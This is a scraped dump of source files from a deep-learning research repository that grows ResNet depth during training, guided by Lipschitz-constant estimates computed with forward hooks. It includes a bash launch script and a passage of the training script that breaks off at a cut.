def duplicate_blocks(self, pairs):\n\n if not pairs:\n return\n\n # sort out based on layer\n block_indices = [[] for _ in range(self.num_layers)]\n for l, b in pairs:\n block_indices[l].append(b)\n \n # offset sequence\n def offset(li):\n return [b + i for i, b in enumerate(sorted(li))]\n block_indices = [offset(layer) for layer in block_indices]\n\n # duplicate\n for l, layer in enumerate(block_indices):\n for b in layer:\n self.duplicate_block(l, b)\n self.get_block_indices_in_layer(l)\n\n def duplicate_layer(self, l):\n pairs = [(l, b) for b in self.get_block_indices_in_layer(l)]\n self.duplicate_blocks(pairs)\n\n def duplicate_layers(self, layers):\n for l in layers:\n self.duplicate_layer(l)\n\n def duplicate_model(self):\n self.duplicate_layers(range(self.num_layers))\n self.scale_weight()\n\n def plus_layer(self, l):\n bs = self.get_block_indices_in_layer(l)\n pair = (l, bs[len(bs)//2])\n self.duplicate_block(*pair)\n\n def plus_layers(self, layers):\n for l in layers:\n self.plus_layer(l)\n\n def plus_model(self):\n self.plus_layers(range(self.num_layers))\n\n def scale_weight(self, alpha=1.41421356237):\n \"\"\"\n scale the weights in linear modules after growing to implicitly reduce the stepsize\n we found that scale by sqrt(2) is slightly better in performance, not sure why\n \"\"\"\n for key in self.state_dict:\n if 'layer' in key and ('conv' in key or 'bn2' in key):\n if 'weight' in key or 'bias' in key:\n self.state_dict[key] /= alpha\n\n def get_block_indices_in_layer(self, l):\n block_indices = []\n for k in self.state_dict:\n if k.startswith('%slayer%i.' % (self.prefix, l+1)):\n block_indices.append(int(k.split('.')[self.b]))\n block_indices = self.dedup(block_indices)\n\n assert block_indices[0] == 0, (\"Block indices not start from 0\", block_indices)\n for i in range(len(block_indices)-1):\n assert block_indices[i] == block_indices[i+1] - 1, (\"Block indices not consecutive\", block_indices, self.delute(self.state_dict))\n return block_indices\n\n def dedup(self, li):\n li_ = []\n for i in li:\n if i not in li_:\n li_.append(i)\n return li_\n\n def delute(self, dic):\n li = []\n for k in dic:\n if k.startswith('%slayer' % self.prefix):\n li.append('.'.join(k.split('.')[:self.b+1]))\n return self.dedup(li)\n \n\nclass ModelArch:\n\n \"\"\"\n A monitor of the archiecture of the ResNet model, i.e. the number of layers in each subnetwork\n arch: stepsize in each block in each layer\n \"\"\"\n\n # block remainder\n __rmd = 2\n\n # num filters per block\n __nfpb = 2\n\n def __init__(self, model_name, model, epochs, depth, max_depth=None, dpath=None,\n operation='duplicate', atom='model', dataset=None):\n\n assert 'resnet' in model_name.lower(), 'model_name is fixed to resnet'\n\n # for original resnet, the first block of each stage is different\n # thus copy it from the block behind it\n special_first = True\n if model_name.startswith('transresnet'):\n special_first = False\n\n # cifar: 3 layers # imagenet: 4 layers\n if 'cifar' in dataset.lower():\n self.num_layers = 3\n elif 'imagenet' in dataset.lower():\n self.num_layers = 4\n else:\n raise KeyError(dataset)\n\n assert (depth - self.__rmd) % (self.num_layers * self.__nfpb) == 0, 'When use basicblock, depth should be %in+2, e.g. 20, 32, 44, 56, 110, 1202' % (self.num_layers * 2)\n assert (max_depth - self.__rmd) % (self.num_layers * self.__nfpb) == 0, 'When use basicblock, depth should be %in+2, e.g. 20, 32, 44, 56, 110, 1202' % (self.num_layers * 2)\n\n\n self.init_depth = depth\n self.blocks_per_layer = self.__get_nbpl(depth)\n assert max_depth, 'use adaptive trigger, must provide depth bound'\n self.max_depth = max_depth\n self.max_blocks_per_layer = self.__get_nbpl(max_depth)\n self.arch = [[1.0 for _ in range(self.blocks_per_layer)] for _ in range(self.num_layers)]\n self.num_grows = self.get_grows_left()\n print('[Model Arch] num grows: %i' % self.num_grows)\n # self.arch_history = [self.arch]\n self.best_arch = None\n\n # grow scheme sanity check\n if atom not in ['block', 'layer', 'model']:\n raise KeyError('Grow atom %s not allowed!' % atom)\n self.atom = atom\n\n if operation not in ['duplicate', 'plus']:\n raise KeyError('Grow operation %s not allowed!' % operation)\n self.operation = operation\n\n # state dictionary\n self.state_dict = StateDict(model, operation=operation, atom=atom, special_first=special_first, num_layers=self.num_layers)\n\n # model architecture and stepsize logger\n self.dpath = dpath\n self.logger = Logger(os.path.join(dpath, 'log_arch.txt'))\n self.logger.set_names(['epoch', 'depth', *['layer%i-#blocks' % l for l in range(self.num_layers)], '# parameters(M)', 'PPE(M)'])\n\n # model parameters and grow epoch logger\n self.epochs = epochs\n self.grow_epochs = []\n self.num_parameters = []\n self.record(-1, model) # dummy -1\n\n def duplicate_block(self, l, b):\n '''\n Inputs:\n l: layer index\n b: block index\n\n Notes:\n when duplicate a block, the stepsize of this block is halved, the number of blocks in this layer is doubled\n '''\n\n # half the stepsize at l-b\n # self.arch[l][b] /= 2\n\n # duplicate the block, and insert\n self.arch[l].insert(b, self.arch[l][b])\n\n\n def duplicate_blocks(self, li):\n '''\n be careful when duplicate blocks,\n below is not correct\n for l, b in li:\n self.duplicate_block(l, b)\n '''\n if not li:\n return []\n\n assert(isinstance(li, list))\n assert(isinstance(li[0], tuple))\n assert(len(li[0]) == 2)\n\n if not self.max_depth:\n for l, b in li:\n # self.arch[l][b] /= 2\n self.arch[l][b] = [self.arch[l][b]] * 2\n self.arch = [reduce_list(layer) for layer in self.arch]\n return\n\n blocks_all_layers = self.get_num_blocks_all_layer()\n skip_layers = set()\n filtered_duplicate_blocks = [pair for pair in li]\n format_arch = '-'.join(['%i'] * self.num_layers)\n for l, b in li:\n if l in skip_layers:\n # print(('Attempt to duplicate layer%i-block%i. Limit exceeded for arch ' + format_arch + '.') % (l, b, *blocks_all_layers))\n filtered_duplicate_blocks.remove((l, b))\n continue\n if blocks_all_layers[l] + 1 > self.max_blocks_per_layer:\n # print(('Attempt to duplicate layer%i-block%i. Limit exceeded for arch ' + format_arch + '.') % (l, b, *blocks_all_layers))\n skip_layers.add(l)\n filtered_duplicate_blocks.remove((l, b))\n continue\n # self.arch[l][b] /= 2\n self.arch[l][b] = [self.arch[l][b]] * 2\n blocks_all_layers[l] += 1\n\n self.arch = [reduce_list(layer) for layer in self.arch]\n\n # if plus operation, evenly distribute the stepsize regardless of the previous stepsizes\n if self.operation == 'plus':\n self.arch = [[self.blocks_per_layer/len(layer)] * len(layer) for layer in self.arch]\n\n return filtered_duplicate_blocks\n\n # def duplicate_layer(self, l, limit=True):\n # return self.duplicate_blocks([(l, b) for b in range(len(self.arch[l]))], limit=limit)\n\n def duplicate_layers(self, ls):\n confirmed_indices = self.duplicate_blocks([(l, b) for l in ls for b in range(len(self.arch[l]))])\n if confirmed_indices:\n ls, _ = zip(*confirmed_indices)\n return sorted(list(set(ls)))\n return []\n\n def duplicate_model(self):\n confirmed_indices = self.duplicate_blocks([(l, b) for l in range(self.num_layers) for b in range(len(self.arch[l]))])\n if confirmed_indices:\n return 1\n return None\n\n def plus_layers(self, ls):\n '''\n duplicate the middle one only\n thus each time only plus one block each layer\n '''\n confirmed_indices = self.duplicate_blocks([(l, len(self.arch[l])//2) for l in ls])\n if confirmed_indices:\n ls, _ = zip(*confirmed_indices)\n return sorted(list(set(ls)))\n return []\n\n def plus_model(self):\n confirmed_indices = self.duplicate_blocks([(l, len(self.arch[l])//2) for l in range(self.num_layers)])\n if confirmed_indices:\n return 1\n return None\n\n def grow(self, indices, epoch=None):\n\n if self.atom == 'block':\n assert isinstance(indices, list), 'list of indices of tuples required'\n assert isinstance(indices[0], tuple), 'tuple index required, e.g. [(l, b)]'\n if self.atom == 'layer':\n assert isinstance(indices, list), 'list of indices required'\n assert isinstance(indices[0], int), 'integer index required, e.g. [l]'\n if self.atom == 'model':\n assert isinstance(indices, int), 'integer required, use 1'\n\n if not indices:\n return None\n\n # divergence\n if self.atom == 'block':\n confirmed_indices = self.duplicate_blocks(indices)\n if confirmed_indices:\n self.state_dict.duplicate_blocks(confirmed_indices)\n self.__info_grow(confirmed_indices)\n return confirmed_indices\n\n if self.atom == 'layer':\n if self.operation == 'duplicate':\n confirmed_indices = self.duplicate_layers(indices)\n if confirmed_indices:\n self.state_dict.duplicate_layers(confirmed_indices)\n elif self.operation == 'plus':\n confirmed_indices = self.plus_layers(indices)\n if confirmed_indices:\n self.state_dict.plus_layers(confirmed_indices)\n self.__info_grow(confirmed_indices)\n return confirmed_indices\n\n if self.atom == 'model':\n if self.operation == 'duplicate':\n confirmed_indices = self.duplicate_model()\n if confirmed_indices:\n self.state_dict.duplicate_model()\n elif self.operation == 'plus':\n confirmed_indices = self.plus_model()\n if confirmed_indices:\n self.state_dict.plus_model()\n self.__info_grow(confirmed_indices)\n return confirmed_indices\n\n return None\n\n def update(self, epoch, is_best, model):\n \"\"\"\n Update best model, log model arch history\n \"\"\"\n if is_best:\n self.best_arch = deepcopy(self.arch)\n\n num_paras = self.__get_num_paras(model)\n self.logger.append([epoch, self.get_depth(), *self.get_num_blocks_all_layer(),\n num_paras, self._get_ppe(epoch=epoch)])\n self.state_dict.update(epoch, is_best, model)\n\n def record(self, epoch, model):\n \"\"\"\n Record grow epochs and num params\n \"\"\"\n assert len(self.grow_epochs) == len(self.num_parameters)\n self.num_parameters.append(self.__get_num_paras(model))\n self.grow_epochs.append(epoch + 1) # + 1 to be consistent with fixed\n\n\n def __info_grow(self, indices):\n if indices:\n print('[Grower] Growed Indices: ', indices, 'New Arch: %s' % self)\n else:\n print('Max depth reached for model %s' % self)\n\n def __get_num_paras(self, model):\n return sum(p.numel() for p in model.parameters())/1000000.0\n\n def _get_ppe(self, epoch=None):\n assert len(self.grow_epochs) == len(self.num_parameters)\n \n if epoch:\n # push a temporary epoch\n self.grow_epochs.append(epoch + 1)\n deno = epoch + 1\n else:\n # it must be the final epoch\n self.grow_epochs.append(self.epochs)\n deno = self.epochs\n\n times = [e2 - e1 for e1, e2 in zip(self.grow_epochs[:-1], self.grow_epochs[1:])]\n assert all([t > 0 for t in times])\n assert sum(times) == epoch + 1 if epoch else self.epochs\n # remove temporary epoch\n self.grow_epochs.pop()\n return sum([t * np for t, np in zip(times, self.num_parameters)]) / deno\n\n def _get_indices_from_layers(self, ls):\n indices = []\n for l in ls:\n indices.extend([(l, b) for b in range(len(self.arch[l]))])\n return indices\n\n def __get_nbpl(self, depth):\n return self.get_num_blocks_per_layer(depth=depth)\n\n def get_num_blocks_per_layer(self, depth=None, best=False):\n if depth:\n return (depth - self.__rmd) // (self.num_layers * self.__nfpb)\n return self.get_num_blocks_model(best=best) // self.num_layers\n\n def get_num_blocks_all_layer(self, best=False):\n if best:\n num_blocks = [len(layer) for layer in self.best_arch]\n else:\n num_blocks = [len(layer) for layer in self.arch]\n assert len(num_blocks) == self.num_layers, \"arch's length is not equal to number of layers. Sth goes wrong.\"\n return num_blocks\n\n def get_num_blocks_model(self, best=False):\n if best:\n num_blocks = sum([len(layer) for layer in self.best_arch])\n else:\n num_blocks = sum([len(layer) for layer in self.arch])\n return num_blocks\n\n def get_depth(self, best=False):\n return self.get_num_blocks_model(best=best) * self.__nfpb + self.__rmd\n\n def get_grows_left(self):\n return int(log2(self.max_blocks_per_layer / self.get_num_blocks_per_layer()))\n\n def merge_block(self, *args):\n '''\n May needs this in the future\n '''\n pass\n\n def __str__(self, best=False):\n return '-'.join(['%i'] * self.num_layers) % tuple(self.get_num_blocks_all_layer(best=best))\n\n def close(self):\n self.logger.close()\n\n\n\n\n\n" }, { "alpha_fraction": 0.5891900658607483, "alphanum_fraction": 0.5954519510269165, "avg_line_length": 37.37025451660156, "blob_id": "92fdf8d4da79e8013c97132724002652b304d78e", "content_id": "ac4bbe1c85288bbd036f96851d6730bf32730829", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12137, "license_type": "no_license", "max_line_length": 162, "num_lines": 316, "path": "/utils/hooker.py", "repo_name": "shwinshaker/LipGrow", "src_encoding": "UTF-8", "text": "#!./env python\nfrom __future__ import absolute_import\nimport torch\nimport torch.nn.functional as F\nimport os\nimport time\nimport pickle\n\nfrom . import Logger\n\n__all__ = ['LipHooker']\n\ndef spec_norm(weight, input_dim):\n # exact solution by svd and fft\n import numpy as np\n assert len(input_dim) == 2\n assert len(weight.shape) == 4\n fft_coeff = np.fft.fft2(weight, input_dim, axes=[2, 3])\n D = np.linalg.svd(fft_coeff.T, compute_uv=False, full_matrices=False)\n return np.max(D)\n\n\nclass Hooker:\n \"\"\"\n hook on single node, e.g. conv, bn, relu\n \"\"\"\n\n eps = 1e-5\n\n def __init__(self, name, node, device=None, n_power_iterations=100):\n\n # name it\n class_name = node.__class__.__name__\n if 'conv' in name: assert class_name.startswith('Conv'), 'Node name inconsistent %s - %s' % (class_name, name)\n if 'bn' in name: assert class_name.startswith('BatchNorm'), 'Node name inconsistent %s - %s' % (class_name, name)\n self.name = name\n self.module = node\n self.device = device\n self.n_power_iterations = n_power_iterations\n\n # lip calculation function\n \"\"\"\n don't have to consider downsample here,\n because downsample is not part of the residual block\n \"\"\"\n if class_name.startswith('Conv'):\n self.lip = self.__conv_lip\n elif class_name.startswith('BatchNorm'):\n self.lip = self.__bn_lip\n else:\n self.lip = lambda: torch.squeeze(torch.ones(1)) # Lipschitz constant 1 for any other nodes\n\n # extraction protocol\n self.hooker = node.register_forward_hook(self.hook)\n\n # ease pycharm complain\n self.input = None\n self.output = None\n\n def hook(self, node, input, output):\n self.input = input\n self.output = output\n\n def unhook(self):\n self.hooker.remove()\n self.__remove_buffers()\n\n def __conv_lip(self):\n # only when needed, i.e. after the entire validation batch, do power iteration and compute spectral norm, to gain efficiency\n\n buffers = dict(self.module.named_buffers())\n if 'u' not in buffers:\n assert 'v' not in buffers\n assert 'sigma' not in buffers\n self.__init_buffers(self.input[0].size(), self.output.size())\n\n # get buffer\n v_ = self.__get_buffer('v')\n u_ = self.__get_buffer('u')\n sigma_ = self.__get_buffer('sigma')\n\n # get weight\n weight = self.__get_parameter('weight')\n stride = self.module.stride\n padding = self.module.padding\n\n # power iteration\n v, u, sigma = v_.clone().to(self.device), \\\n u_.clone().to(self.device), \\\n sigma_.clone().to(self.device)\n \"\"\"\n The output of deconvolution may not be exactly same as its convolution counterpart\n dimension lost when using stride > 1\n that's why need additional output padding\n See:\n https://towardsdatascience.com/is-the-transposed-convolution-layer-and-convolution-layer-the-same-thing-8655b751c3a1\n http://deeplearning.net/software/theano/tutorial/conv_arithmetic.html\n \"\"\"\n transpose_dim = stride[-1] * (u.size()[-1]-1) + weight.size()[-1] - 2 * padding[-1]\n output_padding = v.size()[-1] - transpose_dim\n for _ in range(self.n_power_iterations):\n u = F.conv2d(v, weight, stride=stride, padding=padding, bias=None)\n u = self.__normalize(u)\n v = F.conv_transpose2d(u, weight, stride=stride, padding=padding, output_padding=output_padding)\n v = self.__normalize(v)\n \n sigma = torch.norm(F.conv2d(v, weight, stride=stride, padding=padding, bias=None).view(-1))\n # print('%s - specnorm_iter: %.4f' % (self.name, sigma.item()))\n # comparison with exact solution\n # print('%s - specnorm_iter: %.4f - specnorm_svd: %.4f' % (self.name, sigma.item(), spec_norm(weight.cpu().numpy(), u.size()[2:])))\n\n # modify buffer - because tensor are copied for every operation, needs to modify the memory\n v_.copy_(v)\n u_.copy_(u)\n sigma_.copy_(sigma)\n\n # output\n return sigma\n\n def __init_buffers(self, input_dim, output_dim):\n # input shape is of length 4, includes an additional batch\n assert len(input_dim) == 4\n assert len(output_dim) == 4\n # discard the batch dim\n v_dim = (1, *input_dim[1:]) \n u_dim = (1, *output_dim[1:])\n # print(self.name, v_dim, u_dim) # should be (1, 16, 32, 32) and (1, 16, 32, 32) for the first one\n\n v = self.__normalize(torch.randn(v_dim))\n u = self.__normalize(torch.randn(u_dim))\n\n self.module.register_buffer('v', v)\n self.module.register_buffer('u', u)\n self.module.register_buffer('sigma', torch.ones(1))\n\n def __remove_buffers(self):\n pass\n # delattr(self.module, 'v')\n # delattr(self.module, 'u')\n # delattr(self.module, 'sigma')\n\n def __bn_lip(self):\n weight = self.__get_parameter('weight')\n var = self.__get_buffer('running_var')\n # attention: running_var is the var for evaluation, not used for training\n assert self.module.eps == 1e-5\n # this will return a python number, no need to do tensor.item() again\n lip = torch.max(torch.abs(weight) / torch.sqrt(var + self.module.eps))\n # print('%s - lip: %.4f - weight: %.4f - var: %.4f' % (self.name, lip.item(), torch.max(torch.abs(weight)).item(), torch.max(var).item()))\n return lip\n\n def __get_parameter(self, name):\n return dict(self.module.named_parameters())[name].detach()\n\n def __get_buffer(self, name):\n return dict(self.module.named_buffers())[name].detach()\n\n def __normalize(self, tensor):\n dim = tensor.size()\n return F.normalize(tensor.view(-1), dim=0).view(dim)\n \n\nclass BlockHooker:\n # named_children -> immediate children\n\n def __init__(self, name, block, device=None, n_power_iterations=100):\n assert block.__class__.__name__ in ['BasicBlock', 'Bottleneck'], block.__class__.__name__\n self.name = name\n self.device = device\n\n self.hookers = []\n for name, node in block.named_children():\n hooker = Hooker('.'.join([self.name, name]), node, device=device,\n n_power_iterations=n_power_iterations)\n # print(name)\n self.hookers.append(hooker)\n\n def lip(self):\n # nodes should be composition, but seems no way to know that here\n # this is a major drawback if we don't register hooker when building the model\n # TODO: some log, temmporarily\n self._lips = [hooker.lip() for hooker in self.hookers]\n self._lip = torch.prod(torch.tensor(self._lips))\n self._lip_conv = torch.prod(torch.tensor([l for l, b in zip(self._lips, self.hookers) if 'conv' in b.name]))\n self._lip_bn = torch.prod(torch.tensor([l for l, b in zip(self._lips, self.hookers) if 'bn' in b.name]))\n # return torch.prod(torch.tensor([hooker.lip() for hooker in self.hookers]))\n # return torch.prod(torch.tensor(self._lips))\n return self._lip\n\n def remove(self):\n for hooker in self.hookers:\n hooker.unhook()\n\n def __len__(self):\n return len(self.hookers)\n\n def __iter__(self):\n return iter(self.hookers)\n\n\nclass LayerHooker:\n # named_children -> immediate children\n # no need to skip first?\n\n def __init__(self, name, layer, device=None):\n assert layer.__class__.__name__ == 'Sequential'\n self.name = name\n self.device = device\n\n self.hookers = [BlockHooker('.'.join([self.name, name]), block, device=device) for name, block in layer.named_children()]\n\n def lip(self):\n # return torch.mean(torch.tensor([hooker.lip() for hooker in self.hookers]))\n # return torch.max(torch.tensor([hooker.lip() for hooker in self.hookers]))\n return torch.tensor([hooker.lip() for hooker in self.hookers])\n\n def remove(self):\n for hooker in self.hookers:\n hooker.remove()\n \n def __len__(self):\n return len(self.hookers)\n\n def __iter__(self):\n return iter(self.hookers)\n\n\nclass LipHooker:\n '''\n Lipschitz hooker\n '''\n\n def __init__(self, model_name, dpath, device=None, **kwargs):\n\n self.dpath = dpath\n self.device = device # TODO: device gather for multi-gpu training\n\n # self.logger = None\n self.logger = Logger(os.path.join(dpath, 'Lipschitz.txt'))\n self.logger.set_names(['epoch', 'max', 'min', 'median', 'mean', 'std', 'overhead(secs)'])\n\n self.logger_conv = Logger(os.path.join(dpath, 'Lipschitz_conv.txt'))\n self.logger_conv.set_names(['epoch', 'max', 'min', 'median', 'mean', 'std', 'overhead(secs)'])\n\n self.logger_bn = Logger(os.path.join(dpath, 'Lipschitz_bn.txt'))\n self.logger_bn.set_names(['epoch', 'max', 'min', 'median', 'mean', 'std', 'overhead(secs)'])\n\n # self.history = []\n self.node_logger = None\n\n def hook(self, model):\n # switch model module based on dataparallel or not\n if torch.cuda.device_count() > 1:\n model_module = model.module\n else:\n model_module = model\n\n self.hookers = []\n for name, layer in model_module.named_children():\n if name.startswith('layer'):\n self.hookers.append(LayerHooker(name, layer, device=self.device))\n \n if self.node_logger:\n self.node_logger.close()\n num_blocks_per_layer = len(self.hookers[0].hookers)\n self.node_logger = Logger(os.path.join(self.dpath, 'Lipschitz_history_%i.txt' % num_blocks_per_layer))\n node_names = [hooker.name for layerHooker in self.hookers for blockHooker in layerHooker.hookers for hooker in blockHooker.hookers]\n self.node_logger.set_names(['epoch'] + node_names)\n \n\n # still use 'output' here to conform with original protocol\n def output(self, epoch):\n # now this can also work for 1-1-1 net\n # lip = torch.mean(torch.tensor([hooker.lip() for hooker in self.hookers]))\n\n start = time.time()\n lips = torch.cat([hooker.lip() for hooker in self.hookers], dim=0)\n elapse = time.time() - start\n\n self.logger.append([epoch, torch.max(lips), torch.min(lips), torch.median(lips), torch.mean(lips), torch.std(lips), elapse])\n \n # test: block lip - conv only\n _lip_conv = torch.tensor([blockHooker._lip_conv for layerHooker in self.hookers for blockHooker in layerHooker.hookers])\n self.logger_conv.append([epoch, torch.max(_lip_conv), torch.min(_lip_conv), torch.median(_lip_conv), torch.mean(_lip_conv), torch.std(_lip_conv), elapse])\n\n # test: block lip - batch norm only\n _lip_bn = torch.tensor([blockHooker._lip_bn for layerHooker in self.hookers for blockHooker in layerHooker.hookers])\n self.logger_bn.append([epoch, torch.max(_lip_bn), torch.min(_lip_bn), torch.median(_lip_bn), torch.mean(_lip_bn), torch.std(_lip_bn), elapse])\n\n # test: examine each node\n _lips = [_lip for layerHooker in self.hookers for blockHooker in layerHooker.hookers for _lip in blockHooker._lips]\n self.node_logger.append([epoch] + _lips)\n\n # self.history.append([l.item() for l in lips])\n return torch.mean(lips).item()\n # return torch.max(lips).item()\n #### return torch.mean(_lip_conv).item()\n\n def close(self):\n for hooker in self.hookers:\n hooker.remove()\n self.logger.close()\n self.logger_conv.close()\n self.logger_bn.close()\n\n if self.node_logger:\n self.node_logger.close()\n\n # with open(os.path.join(self.dpath, 'lipschitz_history.pkl'), 'wb') as f:\n # pickle.dump(self.history, f)\n\n def __len__(self):\n return len(self.hookers)\n\n def __iter__(self):\n return iter(self.hookers)\n\n \n\n\n" }, { "alpha_fraction": 0.5762357711791992, "alphanum_fraction": 0.5922053456306458, "avg_line_length": 36.29787063598633, "blob_id": "21cda02c708a73eaac410ef3483706af61d5ea21", "content_id": "4a5bf8b596e9c23541ee2638b47cd9834fd13a41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 5260, "license_type": "no_license", "max_line_length": 489, "num_lines": 141, "path": "/launch.sh", "repo_name": "shwinshaker/LipGrow", "src_encoding": "UTF-8", "text": "##################################################\n# File Name: launch.sh\n# Author: shwin\n# Creat Time: Tue 12 Nov 2019 09:56:32 AM PST\n##################################################\n\n#!/bin/bash\ndebug=0 # 0 # \n\nmodel='resnet' # \"preresnet\" \ndataset='cifar10' # cifar10\ndepth=20 # 3*2 * num_blocks_per_layer + 2\ngrow=true\nhooker='Lip'\n\n# ------ grow setting -----------\nmode='adapt' # fixed\nmaxdepth=74 # if mode == adapt\n\n# ----- fixed setting ---------------\ndupEpoch=()\nif [ \"$grow\" = true ] && [ \"$mode\" = 'fixed' ]; then\n dupEpoch=(60 110) # grow at xx epochs\nfi\n\n# ------ adapt setting --------------\nthresh='1.4' # threshold to trigger grow\nreserve=30 # reserved epochs for final model\nwindow=10 # smooth window\n\n\n# ----- regular hypers -----------\nepochs=164\nlr='0.5' # initial learning rate\nscheduler='adacosine' # 'adacosine' # learning rate scheduler: cosine / constant / step\nif [ \"$grow\" = true ]; then\n # if grow, no need to set learning rate scheduler\n schedule=() \nelse\n # otherwise, set learning rate scheduler (if using step scheduler)\n schedule=(60 110) \nfi\ngamma='0.1' # lr decaying factor, if using step lr scheduler\nweight_decay='1e-4'\ntrain_batch='128'\ntest_batch='100'\n\ngpu_id='2' # select gpu; For multiple gpu training, set like '1,2'\nworkers=4 # 4 * num gpus; or estimate by throughput\nlog_file=\"train.out\"\nsuffix=\"\"\nprefix=\"Batch-Lip\"\n\nif (( debug > 0 )); then\n # debug mode - train a few epochs\n epochs=10\n schedule=() # 2 7)\n dupEpoch=(3 5)\n thresh='1.0'\n reserve=2\n window=3\nfi\n\n# set dir name\nif [ \"$grow\" = true ]; then\n if [ \"$mode\" = 'fixed' ]; then\n\tif [ \"$scheduler\" = 'constant' ]; then\n\t dir=\"$model-$depth-\"$mode-\"$(IFS='-'; printf '%s' \"${dupEpoch[*]}\")\"-$operation-$scheduler-\"lr=${lr//'.'/'-'}\"\n\telse\n\t dir=\"$model-$depth-\"$mode-\"$(IFS='-'; printf '%s' \"${dupEpoch[*]}\")\"-$operation-$scheduler-\"$(IFS='-'; printf '%s' \"${schedule[*]}\")\"-\"lr=${lr//'.'/'-'}\"\n\tfi\n else\n dir=\"$model-$depth-$mode-$maxdepth-$operation-$scheduler\"-\"lr=${lr//'.'/'-'}-window=$window-reserve=$reserve-thresh=${thresh//'.'/'-'}\"\n fi\nelse\n if [ \"$scheduler\" = 'constant' ]; then\n\tdir=\"$model-$depth-$scheduler-lr=${lr//'.'/'-'}\"\n else\n\tdir=\"$model-$depth-$scheduler-\"$(IFS='-'; printf '%s' \"${schedule[*]}\")\"-lr=${lr//'.'/'-'}\"\n fi\nfi\n\nif [ \"$scheduler\" = step ];then\n dir=\"$dir-gamma=${gamma//'.'/'-'}\"\nfi\n\nif [ ! -z \"$suffix\" ];then\n dir=$dir'_'$suffix\nfi\n\nif [ ! -z \"$prefix\" ];then\n dir=$prefix-$dir\nfi\n\nif (( debug > 0 )); then\n dir=\"Debug-\"$dir\nfi\n\ncheckpoint=\"checkpoints/$dataset/$dir\"\n[[ -f $checkpoint ]] && rm $checkpoint\ni=1\nwhile [ -d $checkpoint ]; do\n echo '-----------------------------------------------------------------------------------------'\n ls $checkpoint\n tail -n 5 $checkpoint/train.out\n read -p \"Checkpoint path $checkpoint already exists. Delete[d], Rename[r], or Terminate[*]? \" ans\n case $ans in\n\td ) rm -rf $checkpoint; break;;\n\tr ) checkpoint=${checkpoint%%_*}\"_\"$i;;\n\t* ) exit;;\n esac\n (( i++ ))\ndone\nif [ ! -f $checkpoint ];then\n mkdir $checkpoint\nfi\necho \"Checkpoint path: \"$checkpoint\necho 'Save main script to dir..'\ncp launch.sh $checkpoint\ncp train.py $checkpoint\ncp -r utils $checkpoint\ncp -r models $checkpoint\n\nif [ \"$grow\" = true ]; then\n if (( debug > 0 )); then\n\tpython train.py -d $dataset -a $model --grow --depth $depth --mode $mode --max-depth $maxdepth --epochs $epochs --grow-epoch \"${dupEpoch[@]}\" --threshold $thresh --window $window --reserve $reserve --hooker $hooker --scheduler $scheduler --schedule \"${schedule[@]}\" --gamma $gamma --wd $weight_decay --lr $lr --train-batch $train_batch --test-batch $test_batch --checkpoint \"$checkpoint\" --gpu-id \"$gpu_id\" --workers $workers --debug-batch-size $debug 2>&1 | tee \"$checkpoint\"\"/\"$log_file\n else\n\tpython train.py -d $dataset -a $model --grow --depth $depth --mode $mode --max-depth $maxdepth --epochs $epochs --grow-epoch \"${dupEpoch[@]}\" --threshold $thresh --window $window --reserve $reserve --hooker $hooker --scheduler $scheduler --schedule \"${schedule[@]}\" --gamma $gamma --wd $weight_decay --lr $lr --train-batch $train_batch --test-batch $test_batch --checkpoint \"$checkpoint\" --gpu-id \"$gpu_id\" --workers $workers --debug-batch-size $debug > \"$checkpoint\"\"/\"$log_file 2>&1 &\n fi\nelse \n if (( debug > 0 )); then\n\tpython train.py -d $dataset -a $model --depth $depth --epochs $epochs --hooker $hooker --scheduler $scheduler --schedule \"${schedule[@]}\" --gamma $gamma --wd $weight_decay --lr $lr --train-batch $train_batch --test-batch $test_batch --checkpoint \"$checkpoint\" --gpu-id \"$gpu_id\" --workers $workers --debug-batch-size $debug | tee \"$checkpoint\"\"/\"$log_file\n else\n\tpython train.py -d $dataset -a $model --depth $depth --epochs $epochs --hooker $hooker --scheduler $scheduler --schedule \"${schedule[@]}\" --gamma $gamma --wd $weight_decay --lr $lr --train-batch $train_batch --test-batch $test_batch --checkpoint \"$checkpoint\" --gpu-id \"$gpu_id\" --workers $workers --debug-batch-size $debug > \"$checkpoint\"\"/\"$log_file 2>&1 &\n fi\nfi\npid=$!\necho \"[$pid] [$gpu_id] [Path]: $checkpoint\"\nif (( debug == 0 )); then\n echo \"s [$pid] [$gpu_id] $(date) [Path]: $checkpoint\" >> log-cifar.txt\nfi\n\n" }, { "alpha_fraction": 0.7755101919174194, "alphanum_fraction": 0.7755101919174194, "avg_line_length": 24, "blob_id": "f6b65301a552c5c7e038790d563d10a1c3b588fb", "content_id": "bacf5365153794fa140ac94ec16d4e488163c579", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 49, "license_type": "no_license", "max_line_length": 25, "num_lines": 2, "path": "/pipeline/__init__.py", "repo_name": "shwinshaker/LipGrow", "src_encoding": "UTF-8", "text": "from .preprocess import *\nfrom .training import *" }, { "alpha_fraction": 0.6024829149246216, "alphanum_fraction": 0.6092602014541626, "avg_line_length": 48.337501525878906, "blob_id": "57a0bb6c77335a9a57be926dfb7d0525cf910296", "content_id": "391958dbca624b18e6d9e54c2529a7d270e1cf52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15788, "license_type": "no_license", "max_line_length": 192, "num_lines": 320, "path": "/train.py", "repo_name": "shwinshaker/LipGrow", "src_encoding": "UTF-8", "text": "'''\nAdapted from Copyright (c) Wei YANG, 2017\n'''\n\nfrom __future__ import print_function\n\nimport argparse\nimport os\nimport time\nimport random\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.backends.cudnn as cudnn\nimport torch.optim as optim\n\nfrom pipeline import get_loaders, train, test\nfrom utils import LipHooker, ModelArch, TolTrigger\nfrom utils import str2bool, save_checkpoint, Logger, mkdir_p, print_arguments\nfrom utils import scheduler as schedulers\n\ntorch.autograd.set_detect_anomaly(True)\n\nscheduler_names = sorted(name for name in schedulers.__dict__\n if name.islower() and not name.startswith(\"__\")\n and callable(schedulers.__dict__[name]))\n\nparser = argparse.ArgumentParser(description='PyTorch CIFAR10/100 + Imagenet Training')\n\n# Datasets\nparser.add_argument('-d', '--dataset', default='cifar10', type=str)\nparser.add_argument('-j', '--workers', default=4, type=int, metavar='N', help='number of data loading workers (default: 4)')\n\n# Optimization\nparser.add_argument('--epochs', default=300, type=int, metavar='N', help='number of total epochs to run')\nparser.add_argument('--train-batch', default=128, 